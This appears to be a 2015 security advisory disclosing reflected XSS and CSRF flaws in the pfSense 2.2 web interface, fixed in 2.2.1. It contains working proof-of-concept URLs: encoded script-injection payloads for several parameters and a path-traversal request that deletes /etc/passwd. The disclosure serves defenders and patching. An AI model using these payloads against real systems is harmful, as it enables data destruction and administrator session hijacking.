Arbitrary file deletion and multiple XSS vulnerabilities in pfSense

[High-Tech Bridge Security Research <advisory () htbridge ch>]

Advisory ID: HTB23251
Product: pfSense
Vendor: Electric Sheep Fencing LLC 
Vulnerable Version(s): 2.2 and probably prior
Tested Version: 2.2
Advisory Publication:  March 4, 2015  [without technical details]
Vendor Notification: March 4, 2015 
Vendor Patch: March 5, 2015 
Public Disclosure: March 25, 2015 
Vulnerability Type: Cross-Site Scripting [CWE-79], Cross-Site Request Forgery [CWE-352]
CVE References: CVE-2015-2294, CVE-2015-2295
Risk Level: Medium 
CVSSv2 Base Scores: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N), 5.4 (AV:N/AC:H/Au:N/C:N/I:N/A:C)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in web interface of pfSense, which can be 
exploited to perform Cross-Site Scripting (XSS) attacks against administrator of pfSense and delete arbitrary files via 
CSRF (Cross-Site Request Forgery) attacks.

Successful exploitation of the vulnerabilities may allow an attacker to delete arbitrary files on the system with root 
privileges, steal administrator’s cookies and gain complete control over the web application and even the entire 
system, as pfSense is running with root privileges and allows OS command execution via its web interface.


1) Multiple XSS vulnerabilities in pfSense: CVE-2015-2294

1.1 Input passed via the "zone" HTTP GET parameter to "/status_captiveportal.php" script is not properly sanitised 
before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted 
link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:

https://[host]/status_captiveportal.php?zone=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

1.2 Input passed via the "if" and "dragtable" HTTP GET parameters to "/firewall_rules.php" script is not properly 
sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially 
crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

Below are two PoC codes for each vulnerable parameter that use JS "alert()" function to display "ImmuniWeb" popup:

https://[host]/firewall_rules.php?undodrag=1&dragtable=&if=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/firewall_rules.php?if=wan&undodrag=1&dragtable%5B%5D=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

1.3 Input passed via the "queue" HTTP GET parameter to "/firewall_shaper.php" script is not properly sanitised before 
being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and 
execute arbitrary HTML and script code in browser in context of the vulnerable website.

PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:

https://[host]/firewall_shaper.php?interface=wan&action=add&queue=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

1.4 Input passed via the "id" HTTP GET parameter to "/services_unbound_acls.php" script is not properly sanitised 
before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted 
link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:

https://[host]/services_unbound_acls.php?act=edit&id=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

1.5 Input passed via the "filterlogentries_time", "filterlogentries_sourceipaddress", "filterlogentries_sourceport", 
"filterlogentries_destinationipaddress", "filterlogentries_interfaces", "filterlogentries_destinationport", 
"filterlogentries_protocolflags" and "filterlogentries_qty" HTTP GET parameters to "/diag_logs_filter.php" script is 
not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open 
a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

Below are eight PoC codes for each vulnerable parameter that use JS "alert()" function to display "ImmuniWeb" popup:

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_time=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_sourceipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_sourceport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_destinationipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_interfaces=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_destinationport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_protocolflags=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_qty=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E


2) Cross-Site Request Forgery (CSRF) in pfSense: CVE-2015-2295

2.1 The vulnerability exists due to insufficient validation of the HTTP request origin in 
"/system_firmware_restorefullbackup.php" script. A remote attacker can trick a log-in administrator to visit a 
malicious page with CSRF exploit and delete arbitrary files on the target system with root privileges.

The following PoC code deletes file "/etc/passwd":

https://[host]/system_firmware_restorefullbackup.php?deletefile=../etc/passwd


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Solution:

Update to pfSense 2.2.1

More Information:
https://blog.pfsense.org/?p=1661

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References:

[1] High-Tech Bridge Advisory HTB23251 - https://www.htbridge.com/advisory/HTB23251 - Arbitrary file deletion and 
multiple XSS vulnerabilities in pfSense.
[2] pfSense - https://www.pfsense.org - The pfSense® project is a free, open source customized distribution of FreeBSD 
specifically tailored for use as a firewall and router that is entirely managed via web interface.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public 
use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE 
is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and 
cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details 
of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.